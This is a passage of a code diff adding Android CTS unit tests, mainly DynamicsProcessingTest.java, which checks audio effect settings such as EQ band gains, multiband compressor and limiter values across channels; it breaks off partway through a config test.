+        final BluetoothProfileConnectionInfo info = BluetoothProfileConnectionInfo
+                .createA2dpInfo(supprNoisy, volume);
+        assertEquals(info.getProfile(), BluetoothProfile.A2DP);
+        assertEquals(info.isSuppressNoisyIntent(), supprNoisy);
+        assertEquals(info.getVolume(), volume);
+    }
+
+    @Test
+    public void testCoverageA2dpSink() {
+        final int volume = 42;
+        final BluetoothProfileConnectionInfo info = BluetoothProfileConnectionInfo
+                .createA2dpSinkInfo(volume);
+        assertEquals(info.getProfile(), BluetoothProfile.A2DP_SINK);
+        assertEquals(info.getVolume(), volume);
+    }
+
+    @Test
+    public void testCoveragehearingAid() {
+        final boolean supprNoisy = true;
+        final BluetoothProfileConnectionInfo info = BluetoothProfileConnectionInfo
+                .createHearingAidInfo(supprNoisy);
+        assertEquals(info.getProfile(), BluetoothProfile.HEARING_AID);
+        assertEquals(info.isSuppressNoisyIntent(), supprNoisy);
+    }
+
+    @Test
+    public void testCoverageLeAudio() {
+        final boolean supprNoisy = false;
+        final boolean isLeOutput = true;
+        final BluetoothProfileConnectionInfo info = BluetoothProfileConnectionInfo
+                .createLeAudioInfo(supprNoisy, isLeOutput);
+        assertEquals(info.getProfile(), BluetoothProfile.LE_AUDIO);
+        assertEquals(info.isSuppressNoisyIntent(), supprNoisy);
+        assertEquals(info.isLeOutput(), isLeOutput);
+    }
+}
+
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java
new file mode 100644
index 0000000..114ad73
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java
@@ -0,0 +1,1513 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+
+import android.content.Context;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.DynamicsProcessing;
+import android.media.audiofx.DynamicsProcessing.BandBase;
+import android.media.audiofx.DynamicsProcessing.BandStage;
+import android.media.audiofx.DynamicsProcessing.Channel;
+import android.media.audiofx.DynamicsProcessing.Eq;
+import android.media.audiofx.DynamicsProcessing.EqBand;
+import android.media.audiofx.DynamicsProcessing.Limiter;
+import android.media.audiofx.DynamicsProcessing.Mbc;
+import android.media.audiofx.DynamicsProcessing.MbcBand;
+import android.media.cts.PostProcTestBase;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+public class DynamicsProcessingTest extends PostProcTestBase {
+
+    private static final String TAG = "DynamicsProcessingTest";
+    private DynamicsProcessing mDP;
+
+    private static final int MIN_CHANNEL_COUNT = 1;
+    private static final float EPSILON = 0.00001f;
+    private static final int DEFAULT_VARIANT =
+            DynamicsProcessing.VARIANT_FAVOR_FREQUENCY_RESOLUTION;
+    private static final boolean DEFAULT_PREEQ_IN_USE = true;
+    private static final int DEFAULT_PREEQ_BAND_COUNT = 2;
+    private static final boolean DEFAULT_MBC_IN_USE = true;
+    private static final int DEFAULT_MBC_BAND_COUNT = 2;
+    private static final boolean DEFAULT_POSTEQ_IN_USE = true;
+    private static final int DEFAULT_POSTEQ_BAND_COUNT = 2;
+    private static final boolean DEFAULT_LIMITER_IN_USE = true;
+    private static final float DEFAULT_FRAME_DURATION = 9.5f;
+    private static final float DEFAULT_INPUT_GAIN = -12.5f;
+
+    private static final int TEST_CHANNEL_COUNT = 2;
+    private static final float TEST_GAIN1 = 12.1f;
+    private static final float TEST_GAIN2 = -2.8f;
+    private static final int TEST_CHANNEL_INDEX = 0;
+    private static final int TEST_BAND_INDEX = 0;
+
+    // -----------------------------------------------------------------
+    // DynamicsProcessing tests:
+    // ----------------------------------
+
+    // -----------------------------------------------------------------
+    // 0 - constructors
+    // ----------------------------------
+
+    // Test case 0.0: test constructor and release
+    @AppModeFull(reason = "Fails for instant but not enough to block the release")
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+            assertNotNull("null AudioManager", am);
+            createDynamicsProcessing(AudioManager.AUDIO_SESSION_ID_GENERATE);
+            releaseDynamicsProcessing();
+
+            final int session = am.generateAudioSessionId();
+            assertTrue("cannot generate new session", session != AudioManager.ERROR);
+            createDynamicsProcessing(session);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test0_1ConstructorWithConfigAndRelease() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // 1 - create with parameters
+    // ----------------------------------
+
+    public void test1_0ParametersEngine() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            // Check Parameters:
+            DynamicsProcessing.Config engineConfig = mDP.getConfig();
+            final float preferredFrameDuration = engineConfig.getPreferredFrameDuration();
+            assertEquals("preferredFrameDuration is different", DEFAULT_FRAME_DURATION,
+                    preferredFrameDuration, EPSILON);
+
+            final int preEqBandCount = engineConfig.getPreEqBandCount();
+            assertEquals("preEqBandCount is different", DEFAULT_PREEQ_BAND_COUNT, preEqBandCount);
+
+            final int mbcBandCount = engineConfig.getMbcBandCount();
+            assertEquals("mbcBandCount is different", DEFAULT_MBC_BAND_COUNT, mbcBandCount);
+
+            final int postEqBandCount = engineConfig.getPostEqBandCount();
+            assertEquals("postEqBandCount is different", DEFAULT_POSTEQ_BAND_COUNT,
+                    postEqBandCount);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_1ParametersChannel() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            // Check Parameters:
+            final int channelCount = mDP.getChannelCount();
+            assertTrue("unexpected channel count", channelCount >= MIN_CHANNEL_COUNT);
+
+            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+
+            final float inputGain = channel.getInputGain();
+            assertEquals("inputGain is different", DEFAULT_INPUT_GAIN, inputGain, EPSILON);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_2ParametersPreEq() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            DynamicsProcessing.Eq eq = mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
+
+            final boolean inUse = eq.isInUse();
+            assertEquals("inUse is different", DEFAULT_PREEQ_IN_USE, inUse);
+
+            final int bandCount = eq.getBandCount();
+            assertEquals("band count is different", DEFAULT_PREEQ_BAND_COUNT, bandCount);
+            releaseDynamicsProcessing();
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_3ParametersMbc() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            DynamicsProcessing.Mbc mbc = mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
+
+            final boolean inUse = mbc.isInUse();
+            assertEquals("inUse is different", DEFAULT_MBC_IN_USE, inUse);
+
+            final int bandCount = mbc.getBandCount();
+            assertEquals("band count is different", DEFAULT_MBC_BAND_COUNT, bandCount);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_4ParametersPostEq() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            DynamicsProcessing.Eq eq = mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
+
+            boolean inUse = eq.isInUse();
+            assertEquals("inUse is different", DEFAULT_POSTEQ_IN_USE, inUse);
+
+            int bandCount = eq.getBandCount();
+            assertEquals("band count is different", DEFAULT_POSTEQ_BAND_COUNT, bandCount);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_5ParametersLimiter() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        try {
+            createDefaultEffect();
+
+            DynamicsProcessing.Limiter limiter = mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
+
+            final boolean inUse = limiter.isInUse();
+            assertEquals("inUse is different", DEFAULT_LIMITER_IN_USE, inUse);
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_6Channel_perStage() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        try {
+            createDefaultEffect();
+
+            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+
+            // Per Stage
+            mDP.setInputGainAllChannelsTo(TEST_GAIN1);
+
+            Eq preEq = mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
+            EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
+            preEqBand.setGain(TEST_GAIN1);
+            preEq.setBand(TEST_BAND_INDEX, preEqBand);
+            mDP.setPreEqAllChannelsTo(preEq);
+
+            Mbc mbc = mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
+            MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
+            mbcBand.setPreGain(TEST_GAIN1);
+            mbc.setBand(TEST_BAND_INDEX, mbcBand);
+            mDP.setMbcAllChannelsTo(mbc);
+
+            Eq postEq = mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
+            EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
+            postEqBand.setGain(TEST_GAIN1);
+            postEq.setBand(TEST_BAND_INDEX, postEqBand);
+            mDP.setPostEqAllChannelsTo(postEq);
+
+            Limiter limiter = mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
+            limiter.setPostGain(TEST_GAIN1);
+            mDP.setLimiterAllChannelsTo(limiter);
+
+            int channelCount = mDP.getChannelCount();
+            for (int i = 0; i < channelCount; i++) {
+                Channel channelTest = mDP.getChannelByChannelIndex(i);
+                assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
+                        channelTest.getInputGain(), EPSILON);
+
+                Eq preEqTest = new Eq(mDP.getPreEqByChannelIndex(i));
+                EqBand preEqBandTest = preEqTest.getBand(TEST_BAND_INDEX);
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
+
+                Mbc mbcTest = new Mbc(mDP.getMbcByChannelIndex(i));
+                MbcBand mbcBandTest = mbcTest.getBand(TEST_BAND_INDEX);
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
+
+                Eq postEqTest = new Eq(mDP.getPostEqByChannelIndex(i));
+                EqBand postEqBandTest = postEqTest.getBand(TEST_BAND_INDEX);
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
+
+                Limiter limiterTest = new Limiter(mDP.getLimiterByChannelIndex(i));
+                assertEquals("limiter gain is different in channel " + i,
+                        TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
+
+                // change by Stage
+                mDP.setInputGainbyChannel(i, TEST_GAIN2);
+                assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
+                        mDP.getInputGainByChannelIndex(i), EPSILON);
+
+                preEqBandTest.setGain(TEST_GAIN2);
+                preEqTest.setBand(TEST_BAND_INDEX, preEqBandTest);
+                mDP.setPreEqByChannelIndex(i, preEqTest);
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+                mbcBandTest.setPreGain(TEST_GAIN2);
+                mbcTest.setBand(TEST_BAND_INDEX, mbcBandTest);
+                mDP.setMbcByChannelIndex(i, mbcTest);
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+                postEqBandTest.setGain(TEST_GAIN2);
+                postEqTest.setBand(TEST_BAND_INDEX, postEqBandTest);
+                mDP.setPostEqByChannelIndex(i, postEqTest);
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+                limiterTest.setPostGain(TEST_GAIN2);
+                mDP.setLimiterByChannelIndex(i, limiterTest);
+                assertEquals("limiter gain is different in channel " + i,
+                        TEST_GAIN2, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+            }
+        } finally {
+            releaseDynamicsProcessing();
+        }
+
+    }
+
+    public void test1_7Channel_perBand() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+
+            // Per Band
+            EqBand preEqBand = mDP.getPreEqBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
+            preEqBand.setGain(TEST_GAIN1);
+            mDP.setPreEqBandAllChannelsTo(TEST_BAND_INDEX, preEqBand);
+
+            MbcBand mbcBand = mDP.getMbcBandByChannelIndex(TEST_CHANNEL_INDEX, TEST_BAND_INDEX);
+            mbcBand.setPreGain(TEST_GAIN1);
+            mDP.setMbcBandAllChannelsTo(TEST_BAND_INDEX, mbcBand);
+
+            EqBand postEqBand = mDP.getPostEqBandByChannelIndex(TEST_CHANNEL_INDEX,
+                    TEST_BAND_INDEX);
+            postEqBand.setGain(TEST_GAIN1);
+            mDP.setPostEqBandAllChannelsTo(TEST_BAND_INDEX, postEqBand);
+
+            int channelCount = mDP.getChannelCount();
+
+            for (int i = 0; i < channelCount; i++) {
+
+                EqBand preEqBandTest = new EqBand(mDP.getPreEqBandByChannelIndex(i,
+                        TEST_BAND_INDEX));
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
+
+                MbcBand mbcBandTest = new MbcBand(mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX));
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
+
+                EqBand postEqBandTest = new EqBand(mDP.getPostEqBandByChannelIndex(i,
+                        TEST_BAND_INDEX));
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
+
+                // change per Band
+                preEqBandTest.setGain(TEST_GAIN2);
+                mDP.setPreEqBandByChannelIndex(i, TEST_BAND_INDEX, preEqBandTest);
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+                mbcBandTest.setPreGain(TEST_GAIN2);
+                mDP.setMbcBandByChannelIndex(i, TEST_BAND_INDEX, mbcBandTest);
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                        EPSILON);
+
+                postEqBandTest.setGain(TEST_GAIN2);
+                mDP.setPostEqBandByChannelIndex(i, TEST_BAND_INDEX, postEqBandTest);
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN2,
+                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                        EPSILON);
+            }
+
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_8Channel_setAllChannelsTo() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+            // get Stages, apply all channels
+            Eq preEq = new Eq(mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+            EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+            preEqBand.setGain(TEST_GAIN1);
+            preEq.setBand(TEST_BAND_INDEX, preEqBand);
+            channel.setPreEq(preEq);
+
+            Mbc mbc = new Mbc(mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+            MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+            mbcBand.setPreGain(TEST_GAIN1);
+            mbc.setBand(TEST_BAND_INDEX, mbcBand);
+            channel.setMbc(mbc);
+
+            Eq postEq = new Eq(mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+            EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+            postEqBand.setGain(TEST_GAIN1);
+            postEq.setBand(TEST_BAND_INDEX, postEqBand);
+            channel.setPostEq(postEq);
+
+            Limiter limiter = new Limiter(mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+            limiter.setPostGain(TEST_GAIN1);
+            channel.setLimiter(limiter);
+
+            mDP.setAllChannelsTo(channel);
+
+            int channelCount = mDP.getChannelCount();
+            for (int i = 0; i < channelCount; i++) {
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1,
+                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1,
+                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(), EPSILON);
+
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, TEST_GAIN1,
+                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(), EPSILON);
+
+                assertEquals("limiter gain is different in channel " + i,
+                        TEST_GAIN1, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+            }
+
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    public void test1_9Channel_setChannelTo() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            createDefaultEffect();
+
+            Channel channel = mDP.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+
+            Eq preEq = new Eq(mDP.getPreEqByChannelIndex(TEST_CHANNEL_INDEX));
+            EqBand preEqBand = new EqBand(preEq.getBand(TEST_BAND_INDEX));
+
+            Mbc mbc = new Mbc(mDP.getMbcByChannelIndex(TEST_CHANNEL_INDEX));
+            MbcBand mbcBand = new MbcBand(mbc.getBand(TEST_BAND_INDEX));
+
+            Eq postEq = new Eq(mDP.getPostEqByChannelIndex(TEST_CHANNEL_INDEX));
+            EqBand postEqBand = new EqBand(postEq.getBand(TEST_BAND_INDEX));
+
+            Limiter limiter = new Limiter(mDP.getLimiterByChannelIndex(TEST_CHANNEL_INDEX));
+
+            // get Stages, apply per channel
+            int channelCount = mDP.getChannelCount();
+            for (int i = 0; i < channelCount; i++) {
+                float gain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+
+                preEqBand.setGain(gain);
+                preEq.setBand(TEST_BAND_INDEX, preEqBand);
+                channel.setPreEq(preEq);
+
+                mbcBand.setPreGain(gain);
+                mbc.setBand(TEST_BAND_INDEX, mbcBand);
+                channel.setMbc(mbc);
+
+                postEqBand.setGain(gain);
+                postEq.setBand(TEST_BAND_INDEX, postEqBand);
+                channel.setPostEq(postEq);
+
+                limiter.setPostGain(gain);
+                channel.setLimiter(limiter);
+
+                mDP.setChannelTo(i, channel);
+            }
+
+            for (int i = 0; i < channelCount; i++) {
+                float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+                assertEquals("preEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, expectedGain,
+                        mDP.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                        EPSILON);
+
+                assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, expectedGain,
+                        mDP.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                        EPSILON);
+
+                assertEquals("postEQBand gain is different in channel " + i + " band " +
+                        TEST_BAND_INDEX, expectedGain,
+                        mDP.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                        EPSILON);
+
+                assertEquals("limiter gain is different in channel " + i,
+                        expectedGain, mDP.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+            }
+
+        } finally {
+            releaseDynamicsProcessing();
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // 2 - config builder tests
+    // ----------------------------------
+
+    public void test2_0ConfigBasic() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        DynamicsProcessing.Config config = getBuilderWithValues().build();
+
+        assertEquals("getVariant is different", DEFAULT_VARIANT,
+                config.getVariant());
+        assertEquals("isPreEqInUse is different", DEFAULT_PREEQ_IN_USE,
+                config.isPreEqInUse());
+        assertEquals("getPreEqBandCount is different", DEFAULT_PREEQ_BAND_COUNT,
+                config.getPreEqBandCount());
+        assertEquals("isMbcInUse is different", DEFAULT_MBC_IN_USE,
+                config.isMbcInUse());
+        assertEquals("getMbcBandCount is different", DEFAULT_MBC_BAND_COUNT,
+                config.getMbcBandCount());
+        assertEquals("isPostEqInUse is different", DEFAULT_POSTEQ_IN_USE,
+                config.isPostEqInUse());
+        assertEquals("getPostEqBandCount is different", DEFAULT_POSTEQ_BAND_COUNT,
+                config.getPostEqBandCount());
+        assertEquals("isLimiterInUse is different", DEFAULT_LIMITER_IN_USE,
+                config.isLimiterInUse());
+        assertEquals("getPreferredFrameDuration is different", DEFAULT_FRAME_DURATION,
+                config.getPreferredFrameDuration());
+    }
+
+    public void test2_1ConfigChannel() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
+
+        // per channel
+        Channel channel = config.getChannelByChannelIndex(TEST_CHANNEL_INDEX);
+        // change some parameters
+        channel.setInputGain(TEST_GAIN1);
+
+        // get stages from channel
+        Eq preEq = channel.getPreEq();
+        EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
+        preEqBand.setGain(TEST_GAIN1);
+        channel.setPreEqBand(TEST_BAND_INDEX, preEqBand);
+
+        Mbc mbc = channel.getMbc();
+        MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
+        mbcBand.setPreGain(TEST_GAIN1);
+        channel.setMbcBand(TEST_BAND_INDEX, mbcBand);
+
+        Eq postEq = channel.getPostEq();
+        EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
+        postEqBand.setGain(TEST_GAIN1);
+        channel.setPostEqBand(TEST_BAND_INDEX, postEqBand);
+
+        Limiter limiter = channel.getLimiter();
+        limiter.setPostGain(TEST_GAIN1);
+        channel.setLimiter(limiter);
+
+        config.setAllChannelsTo(channel);
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            Channel channelTest = new Channel(config.getChannelByChannelIndex(i));
+            assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
+                    channelTest.getInputGain(), EPSILON);
+
+            EqBand preEqBandTest = new EqBand(channelTest.getPreEqBand(TEST_BAND_INDEX));
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
+
+            MbcBand mbcBandTest = new MbcBand(channelTest.getMbcBand(TEST_BAND_INDEX));
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
+
+            EqBand postEqBandTest = new EqBand(channelTest.getPostEqBand(TEST_BAND_INDEX));
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
+
+            Limiter limiterTest = new Limiter(channelTest.getLimiter());
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
+
+            /// changes per channelIndex
+            channelTest.setInputGain(TEST_GAIN2);
+            preEqBandTest.setGain(TEST_GAIN2);
+            channelTest.setPreEqBand(TEST_BAND_INDEX, preEqBandTest);
+            mbcBandTest.setPreGain(TEST_GAIN2);
+            channelTest.setMbcBand(TEST_BAND_INDEX, mbcBandTest);
+            postEqBandTest.setGain(TEST_GAIN2);
+            channelTest.setPostEqBand(TEST_BAND_INDEX, postEqBandTest);
+            limiterTest.setPostGain(TEST_GAIN2);
+            channelTest.setLimiter(limiterTest);
+            config.setChannelTo(i, channelTest);
+
+            assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
+                    config.getInputGainByChannelIndex(i), EPSILON);
+
+            // get by module
+            Eq preEqTest = config.getPreEqByChannelIndex(i);
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN2, preEqTest.getBand(TEST_BAND_INDEX).getGain(), EPSILON);
+
+            Mbc mbcTest = config.getMbcByChannelIndex(i);
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2, mbcTest.getBand(TEST_BAND_INDEX).getPreGain(),
+                    EPSILON);
+
+            Eq postEqTest = config.getPostEqByChannelIndex(i);
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN2, postEqTest.getBand(TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            limiterTest = config.getLimiterByChannelIndex(i);
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN2, limiterTest.getPostGain(), EPSILON);
+        }
+    }
+
+    public void test2_2ConfigChannel_perStage() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        DynamicsProcessing.Config config = getBuilderWithValues(TEST_CHANNEL_COUNT).build();
+
+        // Per Stage
+        config.setInputGainAllChannelsTo(TEST_GAIN1);
+
+        Eq preEq = config.getPreEqByChannelIndex(TEST_CHANNEL_INDEX);
+        EqBand preEqBand = preEq.getBand(TEST_BAND_INDEX);
+        preEqBand.setGain(TEST_GAIN1);
+        preEq.setBand(TEST_BAND_INDEX, preEqBand);
+        config.setPreEqAllChannelsTo(preEq);
+
+        Mbc mbc = config.getMbcByChannelIndex(TEST_CHANNEL_INDEX);
+        MbcBand mbcBand = mbc.getBand(TEST_BAND_INDEX);
+        mbcBand.setPreGain(TEST_GAIN1);
+        mbc.setBand(TEST_BAND_INDEX, mbcBand);
+        config.setMbcAllChannelsTo(mbc);
+
+        Eq postEq = config.getPostEqByChannelIndex(TEST_CHANNEL_INDEX);
+        EqBand postEqBand = postEq.getBand(TEST_BAND_INDEX);
+        postEqBand.setGain(TEST_GAIN1);
+        postEq.setBand(TEST_BAND_INDEX, postEqBand);
+        config.setPostEqAllChannelsTo(postEq);
+
+        Limiter limiter = config.getLimiterByChannelIndex(TEST_CHANNEL_INDEX);
+        limiter.setPostGain(TEST_GAIN1);
+        config.setLimiterAllChannelsTo(limiter);
+
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            Channel channelTest = config.getChannelByChannelIndex(i);
+            assertEquals("inputGain is different in channel " + i, TEST_GAIN1,
+                    channelTest.getInputGain(), EPSILON);
+
+            Eq preEqTest = new Eq(config.getPreEqByChannelIndex(i));
+            EqBand preEqBandTest = preEqTest.getBand(TEST_BAND_INDEX);
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN1, preEqBandTest.getGain(), EPSILON);
+
+            Mbc mbcTest = new Mbc(config.getMbcByChannelIndex(i));
+            MbcBand mbcBandTest = mbcTest.getBand(TEST_BAND_INDEX);
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, mbcBandTest.getPreGain(), EPSILON);
+
+            Eq postEqTest = new Eq(config.getPostEqByChannelIndex(i));
+            EqBand postEqBandTest = postEqTest.getBand(TEST_BAND_INDEX);
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, TEST_GAIN1, postEqBandTest.getGain(), EPSILON);
+
+            Limiter limiterTest = new Limiter(config.getLimiterByChannelIndex(i));
+            assertEquals("limiter gain is different in channel " + i,
+                    TEST_GAIN1, limiterTest.getPostGain(), EPSILON);
+
+            // change by Stage
+            config.setInputGainByChannelIndex(i, TEST_GAIN2);
+            assertEquals("inputGain is different in channel " + i, TEST_GAIN2,
+                    config.getInputGainByChannelIndex(i), EPSILON);
+
+            preEqBandTest.setGain(TEST_GAIN2);
+            preEqTest.setBand(TEST_BAND_INDEX, preEqBandTest);
+            config.setPreEqByChannelIndex(i, preEqTest);
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    TEST_GAIN2, config.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
